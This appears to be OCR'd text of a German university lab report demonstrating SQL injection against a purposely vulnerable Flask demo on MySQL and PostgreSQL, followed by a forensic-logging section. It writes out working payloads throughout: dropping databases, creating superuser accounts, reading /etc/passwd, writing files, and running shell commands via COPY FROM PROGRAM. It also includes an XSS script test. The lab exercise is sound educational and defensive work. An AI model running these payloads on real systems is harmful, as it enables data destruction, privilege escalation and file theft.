Docker-Container zwar auch auf und muss neugestartet werden...
d C @ 0 O localhost

SQL Injection Demo v.1.0

Vorlesungen

Bio%' AND 1; START TRANSACTION; DROP DATABASE kemper; COMMIT; --
Vorlesungsnummer Titel Professor SWs
5216 Bioethik Russel 2




Upgrade & # O sen

& Connect your Docker accoun 1o store and back up your images, colaborate with your team, access vulnerabiity scanning and more.

& Containers/ Apps

sql-mysgh1

sql-adminer-1

sql-postgres-1

sql-app-1

o Allerdings erfolgt anders als ohne Transaktion nach dem Neustart in Adminer
direkt eine Umleitung auf die Login-Seite mit einer Fehlermeldung.

4 b C @ 0 O locahost

Language:
Adminer a.5.1 Login

SQLSTATE[HY000] [2002] Connection refused

system
patabase

[JPermanent login
o Doch auch hier wurde die Datenbank nicht geldscht, denn eine Anmeldung in

der Datenbank ,kemper* in Adminer zeigt samtliche Relationen und ein Zugriff
auf die Website alle Daten.



4 C @ O O lcalhost

Adminer as.1 Database: kemper

bB: Alter database ~ Database schema  Privileges
[Use]

SQL command  Import
Export  Create table Search data in tables (7)

1

Tables and views

select Assistenten

select Professoren [m] Table Engine? | Collation” Data Length? | Index Length® | Data Free? | Auto Increment? Rows? Comment®

select Studenten

select Vorlesungen () | Assistenten |InnoDE | utf8mb4_0900_ai_ci 16,384 0 0 ~6

select hoeren () | Professoren | InnoDB | utfémb4_0900_ai_ci 16,384 16,384 0 ~7

select pruefen o 3 emb N

select voraussetzen Studenten InnoDB | utf8mb4_0900_ai_ci 16,384 o ~8
[ | Vorlesungen |InnoDE | utf8mb4_0900_ai_ci 16,384 0 0 ~ 10
[ | hoeren INNoDB | utf8mb4_0900_: 16,384 0 0 0
O | pruefen INNoDB | utf8mb4_0900_: 16,384 0 0 0
[ | voraussetzen | InnoDEB | utf8mb4_0200_: 16,384 [} 0

7 in total InnoDB | utf8mb4_0900_: 114,688 16,384 o]

Selected (0)

Move to other database: Doverwrite

Create table  Create view

Routines

Create procedure  Create function

Events

Create event

Vorlesungen
=

Vorlesungsnummar Titel Professar sws
5216 Bioethik Russel 2
P—— -~ :
4630 Die 3 Kritiken Kant

5043 Erkenntnisthecrie Russel 3
son i _— i
5022 Glaube und Wissen Augustinus 2
5001 Grundzuege Kant 3
s Lo — ;
5040 Maeeutik Sokrates 2
5052 Wissenschaftstheoric Russel 3

Als Test wurde das Drop Database-Statement direkt im Adminer-SQL Command
ausgefuhrt (sowohl mit als auch ochne Commit-Statement)

mmand - mysel - Adminer X+

MySQL » mysql » kemper » SQL command

SQL command

START TAMKSACTION
Query executed OK, 0 rows affected Edit

DROP DATABASE. kerper

o Auch hier wurde der Nutzer nach einem Neustart des MySQL-Servers wieder
auf die Adminer Login-Seite geleitet (allerdings diesmal ohne Fehlermeldung).



@ docker Ugrace {3 W O

ollsborate with your team, access vulnerability scanning and more.

Containers / Apps

sqh-mysql-1

RESTART
J-adminer-1

(o= gin - mysql - Adminer
C @ 0 O localhost
Language: |English v

Adminer 4.5.1 Login

system
patabase |

[JPermanent login

o Doch auch hier ist die Datenbank inkl. Daten noch vorhanden.

MySQL » mysql » Database: kemper

Language: |English v
Adminer a Database: kemper
DB beraper Alter database  Database schema  Privileges
Use
Tables and views
SQL comma
Export Cr Search data in tables (7)
Search

select Assistenten

Table Engine’ | Collation’ Data Length’ Index Length’ | Data Free’ Auto Increment’ Rows’ Comment’

Assistenten  [nnoDB | utfSmb4_0900_ai_ci

Professoren | 1nnoDB | utfemb4_0900_ 16,384 [) 7
Studenten  [nnoDB | utf8mba_0900_ai_ci ) -8
Vorlesungen | InnoDB |utfémbs_0900_ai_ci o ~ 10
hoeren 1nnoDB | utfémb4_0900_ai_ci 0 0
pruefen 1AnoDB | utf8mb4_0900_al_ci 0 o 0
voraussetzen [nnoDB utf8mb4_0900_ai_ci [ 0
Zintotal | InnoDB utfSmb4_0800_aici 114,688 16,384 [

Selected (0)

Move to other database: [kemper overwrite

Create table ~ Create view

Routines

Create procedure  Create function

Events

Vorlesungen
Verlesungsnummer Tt rotesor sws
sare sioste fuse :

Die 3 Krltiken Kant ]

5043 Erkennristheorie Russel 3
soa1 Ethik Sekrates 1
s022 Glaube und Wissen Augustinus 2
5001 Grunddzuege Kant 4

4052

s049

s0s2 stheorie Russel 3

o Erst das direkte Léschen im Docker Volume tber die Docker Desktop App hat
die kemper-Datenbank endgultig geldscht. Sie ist auch nach einem Neustart



nicht mehr verfligbar. Durch die Drop-Table-Statements blieben bisher stets
die Dateien auf dem Volume unberuhrt.
W oocier G o » 0w

= Connect your Docker account ta store and back up your images, collaborate with your team, access vulnerability scanning and more. Sign in

Containers / Apps

Images

=5
& Volumes
—~—— NAME T CREATED SIZE

& Dev Environments (IS

4577e! 6521478ac55f15a8

sql mysql-data ;

sql_postgres-data

@ cocier @G »

@ Connect your Docker account to store and back up your images, collaborate with your team, access vulnerability scanning and mare. Sign in

Containers / Apps

< sql_mysql-data AR @

Images
DATA B
=

& Volumes
NAME MODIFIED SIZE

#  Dev Environments (D) s
binlog.index
ca-key.pem
ca.pem
client-cert.pem
client-key.pem

hack
Save As,

s

ib_buffer_pool

O0oODQpDOODDDODO

ib_logfiled

(bei 4 muss natirlich das Kontextmenu bei der kemper-Datenbank geéffnet
werden)

Danach wird sowohl der Docker-Container als auch die MySQL-Datenbank
neugestartet. Auch nach dem Neustart ist die Datenbank nicht mehr
vorhanden.

sqglalchemy.exc.DatabaseError

salalchemy exc.DatabaseError: (mysal.connector. errors Databascerror) 1812 (iv000): ramespa:e is wissing w able “kemper” .- Yorlesungen
[SQL: SELECT v.vorlir, 1, p.liame, v.SWS FAOM Vorlesungen v LEFT JOIN Professoren v.gelesen r WHERE v.Titel LIKE XK' ORDER BY v.Titel]

(Background on ths error at: http://sqlalche .me/e/13/4xp6)

Adminer bestéatigt auch das erfolgreiche Ldschen. Die relevanten Datenbank-
Datei(en) kbnnen nicht mehr gefunden werden.
d C n} localhost:

Sprache: MySQL » mysgl » kemper » Daten zeigen von: voraussetzen

Adminer 4.s.1 Daten zeigen von: voraussetzen
DB: Daten auswidhlen  Struktur anzeigen  Tabelle &ndern Neuer Datensatz

SQL-Kommando rDaten zeigen vonj Fsuchen—l Tordnen Begr‘enzung Aktion
Importieren  Exportieren ‘ Daten zeigen von

Tabelle erstellen

SELECT * FROM ~voraussetzen” LIMIT 50 Bearbeiten
zeigen Assistenten
zeigen Professoren Tablespace is missing for table ' kemper® . voraussetzen.
zeigen Studenten
zeigen Vorlesungen
zeigen hoeren
zeigen pruefen
zeigen voraussetzen

Dieser Test bestatigt, dass Docker die Datenbank nicht bei einem Neustart
anlegt.



o

Es wurden unzahlige Versuche gestartet und am 11.02.2022 von Docker
Desktop-App-Version 4.1.1 auf 4.5.0 migriert. Nun kann das Drop Table-
Statement erfolgreich durchgefihrt werden ohne und die Datenbank wird mit
den beiden folgenden Statements geldscht. Beide nachfolgenden Statements
fuhren jetzt zum Ziel und l6schen die Datenbank kemper auf dem zugehdrigen
Volume, allerdings lauft nur das erste Statement fehlerfrei durch. Beim
zweiten Statement muss wie bisher die Datenbank neu gestartet werden, da
sich der Docker-Container aufhéangt.

4 b C 0 @ localhost,

SQL Injection Demo v.1.0

Vorlesungen

s DROP DATABASE kemper; COMMIT; —4

o @ localhost

SQL Injection Demo v.1.0

Vorlesungen

Bio%' AND 1; START TRANSACTION; DROP DATABASE kemper; COMMIT m

Vorlesungsnummer Titel Professor SWs

5216 Bicethik Russel 2

d C 0  ® localhost,

sqlalchemy.exc.ProgrammingError

sqlalchemy.exc.Programmingkrror: (mysql.connector.errors.ProgrammingError) 1049 (42000): Unknown database 'kemper’
(Background on this error at: http://sqlalche.me/e/13/f4@5)

Traceback (most recent call last)

Auf dem Volume wurde die kemper nun Datenbank gel6scht und ist auch
nicht mehr nach einem Neustart des Docker-Containers oder der MySQL-
Datenbank verfiigbar.

W docker 5 o % ©sor

< sqlinjectiondemov10-docker_mysql-data Emiﬁ,w @
N
DATA
& volumes
NAME MODIFIED SIZE

[} auto.cnf

[) binlog.000001

Es wird vermutet, dass es sich um einen Bug in Docker handelt.

Datenbankserver verandern
Anlegen eines Nutzers mit allen Rechten

Der Hostname ,localhost” wird verwendet, wenn das Datenbanksystem auf
demselben Server lauft wie die Applikation. Mit diesem Identifier erfolgt die
Verbindung mittels lokalem Socket und ohne TCP/IP Local Socket Connection
Moéchte man nun eine TCP/IP-Verbindung erstellen wird auf jeden Fall eine IP-
Adresse bengtigt. Dies ist auch der Fall, wenn der Server lokal auf dem Rechner
[auft. In diesem Fall muss man anstelle ,localhost die IP-Adresse 127.0.0.1 oder den
Namen des lokalen Servers eingeben.

Dieser Unterschied wird beim GRANT-System wichtig

Der Hostname ,%" ist als Wildcard ahnlich wie im Like-Operator zu sehen, beinhaltet
allerdings nicht localhost, sondern nur TCP/IP-Verbindungen.

39




. im Privilege Level steht fir alle Datenbanken und Relationen
Das Anlegen des Nutzers ,u“ und TCP/IP-Verbindung hat problemlos geklappt

d C @ 0 O localhost

SQL Injection Demo v.1.0

Vorlesungen

Bio%' AND 0; CREATE USER 'u'@'%' IDENTIFIED BY "pw

Vorlesungsnummer Titel Professor SWs
Language: (Engiish v MySQL » mysql » mysql > Select: user Logaut
Adminer a.5.1 Select: user
"u“: mysal Selectdata  Show structure  Alter table  New item 7
se

Select—| (~Search— ~Sort-) —Limit Text length—| [~ Action
SQL command  Import 50 00 Select
Export  Create table

SELECT = FROR “Lser’ LINIT 50 Edit

select columns_priv
select componant ~ Modify| most user | Select_priv Insert_priv update_priv Delete_priv Create_priv Drop_priv | Reload_priv | shutdown_priv Process_priv File_priv Grant_priv | References_priv | Index_priv Alter

select X = Y v v ¥ ¥ v v ¥ ¥ ¥ ¥ ¥ ¥ ¥

st oL v N N N Ll N N N L} N N N N H N
select engine_cost
select func [ep—— n N u u N n n n n N M " n

select general_log
select global_grants
select gtid_executed

mslsession [N N N [ N N N ¥ N N N N [ N

msaloays N N N n n N N N N N N N n N

select
select help_keyword Wwhole result Modify Selected (0) Export (5)
select help_relation - ==

select help_topic

select innodb_index_stats Import

select innodb_table_stats
select password_history
select
select
select
select
select ¥
select replication_group_configurati
select replication_group_member_a
select role_edges

select server_cost

select servers

select slave_master_info

select slave_relay_log_info

select slave_worker_info

select slow_log
select tables_priv
select time_zone
select time_zone_leap_second
select time_zone_name

select time_zone_t
select time_zone_t
select user

Auch das Zuteilen sémtlicher Berechtigungen funktioniert.
d C @ 0 O loalho

SQL Injection Demo v.1.0

Vorlesungen

Bio%' AND 0; GRANT ALL PRIVILEGES ON *.* TO 'u'@'%";

Vorlesungsnummer Titel Professor SWs

Language: [English ~ MySQL » mysql » mysql » Select: user Logout
Adminer 4.s. Select: user
DB: jmysq) Selectdata  Show structure  Alter table  New item 2
Use
Select| ~Search-| ~Sort— -Limit Text length- [~ Action
S$QL command Import 50 100 Select
Export  Create table
SELECT * FRON “User’ LDAIT 55 Edit
olumns_priv
nant Modify | Host User Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown_priv Process_priv File_priv Grant_priv References_priv Index_priv | Alter,
BT oot Y ¥ v Y v v v v ¥ v v ¥ 0 Y
s ault_roles x v ¥ b v ¥ ¥ ¥ ¥ ¥ ¥ v n ¥ ¥ Y
elect engine_cost
elect func ocalhost. mysal nfoschema | ¥ " " N " " N n N N N " " n
elect general_log Ot | icatnast sl sesston | " " [ u ] [ v N N N " " n
elect global_grants
edit | ocamnest mysal.srs [ " " N " " N " N N n " " n

elect help_category
elect help_keyword Whole result— —Modify Selected (0)
elect help_relation

elect help_topic

ect innodb_index_stats
innodb_table_stats
password_history

plugin

_priv

praxies_priv
n_asynchronous_cot
n_asynchronous_cot
n_group_configurati
replication_group_membe
role_edges

server_c
servers
slave_master_info
slave_relay_log_info

e
select gtid_executed
s
s

5 rof

Save

Import

replic

replicat

replic

time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
select user




- Nun werden die geanderten Grant-Privilegien/Nutzerrechte erneut in den
Arbeitsspeicher geladen, damit die Anderungen wirksam werden. Der Flush
Privileges-Befehl wird bei allen Anderungen in Grant-Relation wie bspw. ,mysgl.user*
benotigt, wenn die Anderungen mittels Insert, Delete, Update-Statement eingefuigt
wurden. Bsp. Via Update-Statement wird der Authentication_String in der mysql.user-
Relation geandert.

SQL Injection Demo v.1.0

Vorlesungen
Bio%' AND 0; FLUSH PRIVILEGES; --
Vorlesungsnummer Titel Professor SWs

Loschen eines Nutzers

SELECT * FROM 'user® LIMIT 58 Bea
Andern Host User
bearbeiten | % root

bearbeiten | 1ocalhost | mysql.infoschema

Vorlesungen

Ethik' AND 1=0; DELETE FROM mysql.user WHERE User = 'u"; FLUSH PRIVILEGES;--

bearbeiten | localhost | mysql.session

bearbeiten | Localhost | mysql.sys
Vorlesungsnummer Titel Professor

bearbeiten | localhost | root

SQLSTATE[HY000] [1045] Access denied for user 'u'@'172.31.0.4' (using password: YES)

Zugriff auf das Filesystem
Um Zugriff auf das Filesystem zu erlangen musste die Konfiguration des MySQL Dockers
abgeandert werden. Es wurde der Schalter “--secure-file-priv=""" zur docker-compose.yaml
hinzugeflgt:
mysql:

lmage: my

command :

restart: o
anviranmant -

Lesezugriff auf Systemfiles
Vorlesungen

Ethik' UNION SELECT 0,LOAD_FILE(/etc/passwd'),0,0;--

Vorlesungsnummer  Titel P
5041 Ethik S
5216 Bioethik R
0 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:fusr/shin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/shin 0

Inologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr
/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr
Isbhin/nologin mail:x:8:8:mail:/var/mail:/usr/shin/nologin news:x:9:9:news:/var/spool/news:/usr/shin/nologin
uucp:x:10:10:uucp:/var/spooliuucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
data:x:33:33:www-data:/variwww:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/shin/nologin
list:x:38:38:Mailing List Manager:/varilist:/usr/shin/nologin irc:x:39:39:ircd:/var/runfircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/shin/nologin _apt:x:100:65534::/nonexistent:/usr/shin
Inologin mysql:x:999:999::/home/mysql:/bin/sh



Schreibzugriff
Vorlesungen

Ethik'; SELECT "GEHEIM!!" INTO dumpfile ‘/tmp/unwichtig.txt';--

Vorlesungsnummer Titel

5041 Ethik .
chtig.txt

5216 Bioethik : L |

Lesezugriff auf das zuvor geschriebene File
Vorlesungen

Ethik' UNION SELECT 0,LOAD_FILE(/tmp/unwichtig.txt),0,0;--

Vorlesungsnummer Titel
5041 Ethik
5216 Bioethik
0 GEHEIM!

Einschleusen beliebigen Codes

Code wird auf dem System des DBMS ausgefuhrt

Wird von MySQL nicht unterstiitzt. Es ist nicht moglich, Shell-Befehle auszufiihren. Nur
moglich mit Select Into Dumpfile-Statement, wenn sich Webserver und MySQL-Server auf
einem Rechner befinden, was hier nicht der Fall ist.

Code wird auf dem System der Applikation ausgefuhrt
Es wurde versucht den eingeschleusten Code mit einem Python-Befehl zu erweitern. Leider
ohne Erfolg.

4 b C O @ localhost

SQL Injection Demo v.1.0

Vorlesungen

AND 0"); open("./HelloWorld.txt", "w"); #

a1, 1n cma_query

sqlalchemy.exc.ProgrammingError: (mysql.connector.errors.ProgrammingError) 1064 (42000). You have an error in your SOL syntax, check the manual that corresponds to your MySOL server
version for the right syntax to use near ); open(”./HelloWorld.txt", "w"); #%' ORDER BY v.Titel' at line 1

[SQL: SELECT v.VorINr, v.Titel, p.Name, v.SWS FROM Vorlesungen v LEFT JOIN Professoren p ON v.gelesenVon = p.Persnr WHERE v.Titel LIKE %' AND 0%); open("./HelloWorld.txt", "w"); #% ORDER BY
v.Titel)

(Background on this error at http:/ /sqlalche.me /e/13/f405)

4 b C A  © localhost,

SQL Injection Demo v.1.0

Vorlesungen

AND 0%); exec("open(\"./HelloWorld txt\", \"w\"),"); #

sqllalchemy.ex ngError {mysql.connector.errors. ProgrammingErar) 1064 (42000). You have an error in your SGL syntax; check the manual that corresponds to your MySQL server
version for the to use near ), exee("open(\". /HelloWorld.txt\", \"w\)"), #%' ORDER BY v.Titel" at line |

1SOL. SELECT v.VorINr, v.Titel, p.Name, v.5WS FROM Vorlesungen v LEFT JOIN Professoren p ON v.gelesenVon = p.Persnr WHERE v.Titel LIKE %' AND 0'), exect"opent "/ HelloWorld txt\", "w\")."). 25
ORDER BY v.Titel]

(Background on this error at- http / /sqlalche.me e/ 13/f405)

[N docker exec -it 67b1ad7904e5ccd84214ddf2a9f007610c22579f3e12e6e5d24c656b64b21615 /bin/sh

file Pipfile Pipfile.lock app.py static templates

Das Anfligen des ersten Statements in Zeile 47 von app.py beweist die grundséatzliche
Lauffahigkeit beider Befehle (funktioniert auch mit .exec(...).



WHERE v.Titel LIKE '%' AND @"); open("./HelloWorld.txt", "w");

W docker exec -it 67b1ad7904e5ccd34214dd2a9f007610c22579f3e12e6e5d24c656b64b21615 /bin/sh

cerfile HelloWorld.txt Pipfile Pipfile.lock app.py static templates

Als néchstes konnte in im Quellcode und der Dokumentation von SqlAlchemy nach
maoglichen Angriffspunkten fir einen Code-Injection-Angriff gesucht werden. Aul3erdem
kénnten Schwachstellendatenbanken wie https://cve.mitre.org/ nach potenziellen
Einfallstoren durchsucht werden.

Code wird auf dem Client ausgefuhrt

Nicht ohne Anpassung von Flask méglich, da Flask wie in app.py mit der Funktion
render_template demonstriert autom. alle Sonderzeichen escaped. So werden bis auf eine
Ausnahme alle Cross-Site-Scripting-Attacken verhindert. Bei Cross-Site-Scripting-Attacken
wird HTML-Code mit JavaScript-Code in den Kontext einer Website injiziert:

There is one class of XSS issues that Jinja’s escaping does not protect against. The a tag’s href attribute can contain a javascript:

URI, which the browser will execute when clicked if not secured properly.

<a ="1{ value }}">click here</a>

<a ="javascript:alert('unsafe');">click here</a>
Abbildung 2: Quelle: https://flask.palletsprojects.com/en/2.0.x/security/

Um die Escape-Funktion zu deaktivieren, wird die Markup-Funktion benétigt, es misste als
die Beispielapplikation umprogrammiert werden.

Als Test wurde nachfolgendes Beispiel-Skript via Adminer in die Vorlesungs-Relation
geschrieben. Dafir wurde im Vorfeld die Speichergréf3e des Varchar-Attributs von 30 auf
100 erhoht. Das Statement wird zwar auf der Oberflache korrekt angezeigt...

4 C 0 ©® localhost/vo

SQL Injection Demo v.1.0  Vorlesungen T
Vorlesungsname
Vorlesungsnummer Titel Professor SWs
999 <code><script type = “text/javascript”>prompt(“bitte pw", "*);</script> </code> None None

... nicht aber im HTML selbst und hat daher keine Funktion.

<td> &1t;codefgt;&1t;script type = &#34;text/javascript&#34;8&gt;prompt(&#34;bitte pwl#34;, &#34;8#34;);&1t;/scriptégt;&1t; /codelgt;</td>

PostgreSQL
- Fur detaillierte Beschreibungen zu den nachfolgenden Unterkapiteln siehe
gleichnamige Unterkapitel in Kapitel MySQL
- Anders als in MySQL ist eine Suche mit dem LIKE-Operator Case-Sensitive und der
Parameterwert ,bio%" liefert ein anderes Ergebnis als ,Bio%"“. Um dasselbe Result
Set zu erzielen, wie in den MySQL-Beispielen, muss die Anweisung mit einem
groRen B beginnen ,Bio%...“


https://cve.mitre.org/
https://flask.palletsprojects.com/en/2.0.x/security/

Das verwendete DBMS identifizieren

Vorlesungen

Ethik’ AND 1=0 UNION SELECT NULL, VERSION().NULL, NULL ;-

Vorlesungsnummer  Titel

None PostgreSQL 12.8 (Debian 12.8-1.pgdg100+1) on x86_64-pe-linux-gnu, compiled by gec (Debian 8.3.0-6)

8.3.0, 64-bit

Ausspéhen von Daten

Ausspahen der auf dem Datenbankserver vorhandenen Datenbanken

Vorlesungen

Ethik' AND 1=0 UNION SELECT NULL, datname,NULL,NULL from pg_database;--

Vorlesungsnummer

None

Nore

None

None

Ausspahen der zur jeweiligen Datenbank gehdrenden Relationen

Vorlesungen

Ethik and 0=1 union select NULL, ¢ reiname,

Vorlesungsnummer

None

None

None

None

None

None

None

NULL, NULL from pg_catalog.pg_class ¢ LEFT JOIN pg_catalog.pg_namespace n on .
Titel Professor
verlesungen None
hoeren None
studenten None
professoren Nane
‘voraussetzen None
pruefen None
assistenten None

Titel

templatel

kemper

templateQ

postgres

Profes

None

None

None

None

None
None
None
None
None
None

None

Professor SWS

None

None

Ausspahen der zur jeweiligen Relation einer Datenbank gehérenden Attribute

Vorlesungen

AND (A aftrelid=C. oid) AND (A.atttypid=T.oicf) AND (A.attnum=>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE public) order by titel:--| I

Vorlesungsnummer

None

None

None

None

None

None

Titel

assistenten

assistenten

assistenten

assistenten

hoeren

hoeren

Professor

fachgebiet

persnr

name

boss

matrnr

vorlnr

Ausspahen der Daten einer Relation

Vorlesungen

Ethik' and 0=1 union select matrrr, name, null, semester from studenten;--

Verlesungsnummer

28106

26830

26120

25403

24002

29120

29555

27580

Titel

Camap

Aristoxenos

Fichte

Jonas

Xenokrates

Theophrastos

Feuerbach

Schopenhatier

Professor

Daten bzw. Inhalt in Datenbank verandern

Neue Datenbank anlegen
Bei PostgreSQL nicht méglich:

sqglalchemy.exc.InternalError

sqlalchemy.exc.InternalError: (psycopg2.errors.ActiveSqlTransaction) [SENIS NI NI IELEE G IR T S e A T

Sws

None

None

None

None

None

None



Neue Relation anlegen

Tabelle ‘Speicher-Engine

assistenten | table

hacktable table

hoeren table

professoren | table

pruefen table

Vorlesungen

vorausseizen | table

", CREATE TABLE hacktable ("id" integer NOT NULL); COMMIT:—- ———

Neue Daten einfiigen, bestehende Daten andern oder I6schen

SELECT * FROM "hacktable" LIMIT 5

Vorlesungen Andem | id

', INSERT INTO hacktable ("id") VALUES ('1'); COMMIT.-- bearbeiten

=

Relationen loschen

Tabelle Speicher-En

assistenten | table

hoeren table

professoren |table

pruefen table

studenten table

Vorlesungen

' DROP TABLE hacktable; COMMIT}——\ vorlesungen |table
7 insgesamt

voraussetzen |table

Datenbanken l6schen
Vorab DB erstellen:

CREATE DATABASE hack
Warning: Undefined prope!

Abfrage ausgefiihrt, 0 Dal

|CRE1\TE DATABASE hack;

Prifen:

datname
postgres
kemper

templatel

templated
hack

5 Datensétze Bearbeiten, Exp

select datname from pg database;

Loschen der Datenbanken

Vorlesungen

', DROP DATABASE hack; COMMIT:--

Vorlesungen
(pRETRRIREASEETE quch hier wird autom. ein Commit am Ende angefiigt)

Bei PostgreSQL nicht mdglich:

sqlalchemy.exc.InternalError
sqlalchemy.exc.InternalError: (psycopg2.errors.ActivesqlTransaction)



Datenbankserver verandern

Anlegen eines Nutzers mit allen Rechten

Vorlesungen

'; CREATE ROLE abc WITH SUPERUSER; ALTER ROLE abc WITH LOGIN; ALTER ROLE abc WITH PASSWORD 'pass’; COMMIT;--

Vorlesunasnummer Titel Professor
Datenbank System = PostgreSQL v

Server postgres

Benutzer abc

Passwort e

Datenbank kemper

current_user
abc

1 Datensatz Bearb

| select current_user;

Loschen eines Nutzers
Vorlesungen

'y DROP USER abc; COMMIT;--

Datenbank System | PostgreSQL ~
Server postgres

Benutzer abc

Passwort LYYT)

Datenbank kemper

SQLSTATE[0800E] [7] FATAL: password authentication failed for user "abc”

Zugriff auf das Filesystem
Lesezugriff auf Systemfiles

Vorlesungen

' CREATE TABLE extract(t text); COPY extract FROM 'fetc/passwd’; COMMIT;--

Vorlesungsnummer Titel

Vorlesungen

Ethik’ AND 1=0 UNION SELECT NULL, t, NULL, NULL from extract; DROP TABLE extract;--

Vorlesungshummer Titel

MNone backup:x:34:34:backup:/var/backups:/usr/shin/nologin
None list:x:38:38:Mailing List Manager:/var/list:/usr/shin/nologin
None proxy:x:13:13:proxy:/hin:/usr/shin/nologin



Schreibzugriff
Vorlesungen

<html><body>Hello World!</body></htmI>"); COMMIT; COPY htmtable (htmcol) TO Mvarflib/postgresql/data/world.html’; DROP TABLE htmta l

Vorlesungsnummer Titel Professor sSw
5216 Bioethik Russel 2
5259 Der Wiener Kreis Popper 2
4630 Die 3 Kritiken Kant 4

Lesezugriff auf das zuvor geschriebene File
Vorlesungen

Ethlk‘ AND 1=0; CREATE TABLE meinedaten (lesen text); COMMIT; COPY meinedaten FROM ‘/var/lib/postgresgl/data/world.html'; COMMIT l

Vorlesungsnummer Titel Professor SWs

Vorlesungen

Ethik" AND 1=0 UNION SELECT NULL, lesen, NULL, NULL FROM meinedaten;--
Vorlesungsnummer Titel

None <html><body>Hello World!</body></html>

Einschleusen beliebigen Codes

Code wird auf dem System des DBMS ausgefihrt
Vorlesungen

Ethik' AND 1=0; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp (filename text); COPY tmp FROM PROGRAM 'ps -ef’; SELECT * FRO!
Vorlesungsnummer Titel Professor
UID PID PPID C STIME TTY TIME CMD

postgres 1 0 0 11:26 ? 00:00:00 postgres

postgres 29 1 0 11:26 ? 00:00:00 postgres: checkpointer

postgres 30 1 0 11:26 7 00:00:00 postgres: background writer

postgres 31 1 0 11:26 ? 00:00:00 postgres: walwriter

Code wird auf dem System der Applikation ausgefihrt
Siehe Kapitel MySQL.Code wird auf dem System der Applikation ausgefuhrt.

Code wird auf dem Client ausgeftihrt
Siehe Kapitel MySQL.Code wird auf dem Client ausgefihrt.



Wahlen Sie wieder zwei Datenbanksysteme und ...

... installieren Sie lhre eigene Beispiel-Datenbank (Schema, Daten) in diesen
zwei DBS. Sie kénnen lIhre DB-Anwendung aus dem Modul ,Datenbanken I*
nutzen.

Vorbereitung
Als eigene Datenbank wurde die im letzten Semester erstellte Vorgangsverwaltung gewahlt:
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Das machte eine Anpassung der Webseite nétig.

Hier wurde ein Layout gewdahlt, das séamtliche geschlossenen und offenen Vorgénge zeigt
und die Mdglichkeit bietet nach Vorgangsnummern zu suchen:

Vorgange

Vorgangsnummer

Vorgangsnummer Aktenzeichen Einlaufdatum Auslaufdatum
2021100 XX736145-20 2020-04-29 2020-05-10
2021101 KK783852-20 2020-09-17 2020-09-22
2021102 XX610814-20 2020-10-19 2020-10-31
2021103 XX666115-20 2020-12-28 None
Vorgange
2021104
Vorgangsnummer Aktenzeichen Einlaufdatum Auslaufdatum
2021104 XX853672-21 2021-03-21 None

Da die zur Ubergabe der Benutzereingabe verwendete Funktion “request.args.get()" keinen
Integer zurtickgibt, der mit dem INTEGER der Vorgangsnummer verglichen werden kann,
waren fir MySQL und PostgreSQL verschiedene SQL Statements nétig um die Abfrage
erfolgreich durchflihren zu kdnnen. Wahrens MySQL sich an den unterschiedlichen
Datentypen nicht storte, musste fur PostgreSQL ein CAST des Integers zu VARCHAR

erfolgen:




48 if current_db == :

49 result = session.execute(f
)
50
51 elif current_db == :
52 result = session.execute(f

)

Einpflegen der Datenbanken

Zur Erstellung der Datenbanken wurde jeweils eine Datei mit den nétigen SQL Statements
erstellt und Uber die “Importieren”-Funktion des “Adminer” eingelesen. Die Datei fur
PostgreSQL konnte dabei aus dem vorangegangenen Semester tibernommen werden. Fur
MySQL waren diverse Anpassungen notig.

Beginn der Datei fir MySQL.:

1 CREATE DATABASE IF NOT EXISTS rba DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4 0900 _ai ci;
2

3 USE rba;

4

5

6 DROP TABLE IF EXISTS T Geraetetypen CASCADE;

7 DROP TABLE IF EXISTS T Hersteller;
2 NEND TARIE TE EVTETE T nalilta FASCARE.

... fhren Sie jeweils 5 Beispiele fur SQL-Injection auf Ihrer Datenbank aus
und arbeiten Sie diese Vorfalle forensisch auf; d.h. suchen Sie nach Quellen,
in denen diese Vorfélle nachgewiesen werden kdnnen.

Vorbereitung

Da der Webserver (Python / Flask) des Dockersystems keine Logging-Funktion mitbringt,
wie es ein fur Produktivzwecke eingesetzter Webserver tut, wurde beschlossen eine solche
hinzuzufligen, um eine weitere Quelle fur die forensische Aufarbeitung zu erhalten. Dazu
wurde die Datei “app.py” wie folgt abgeandert:

4 import Idgging

17 logging.basicConfig(filename= . level=logging.DEBUG, format=f
)

Dadurch wird im Ordner "website” eine Datei "record.log” erstellt, die samtliche Zugriffe auf
den Webserver protokolliert:

2022-81-16 11:14:59,049 INFO werkzeug Thread-11 : 192.168.160.1 - - [16/Jan/2822 11
:14:59]

WGET /vorgaenge?search=2021103 HTTP/1. 1gelclole

Eine Aufzeichnung zugreifender IP-Adressen erfolgt hierdurch jedoch nicht. Bei einem fur
Produktivzwecke eingesetzten Webserver, wie z.B. Apache, wiirde dies in der Regel jedoch
der Fall sein.

MySQL

Vorbereitung

In dem MySQL Docker Image ist die mogliche Protokollierung nur zum Teil aktiviert.
Wahrend Binary Logs angelegt werden ist die Option “general_log” in der Konfigurationsdatei
nicht aktiv gesetzt.

1
(SQL Community Server - GPL




t global general log=0N

Query OK, © rows affected (0.01 sec)

. Done

] NEW pac will be installed:

1 newly installed, © to remove and 8 not upgra

W wd o ] [NRERERE
DWWWWOWWLYwOYweowo

]

Da Binary Logs jedoch im Modus “ROW?” aktiv ist, bei dem DML nicht mit im Log erscheint,
musste der Modus zu MIXED gewechselt werden:

mysql= SET GLOBAL binlog format = 'MIXED';

Szenario
Eine White Hat Hackerin entdeckt die verwundbare Datenbank im Internet. Sie beschliel3t
sich das System genauer anzusehen und, falls mdglich, den Betreiber zu informieren.

Hierbei wurden als Stationen gewahlt:

¢ Identifizieren des Datenbanksystems

e |dentifizieren laufender Queries

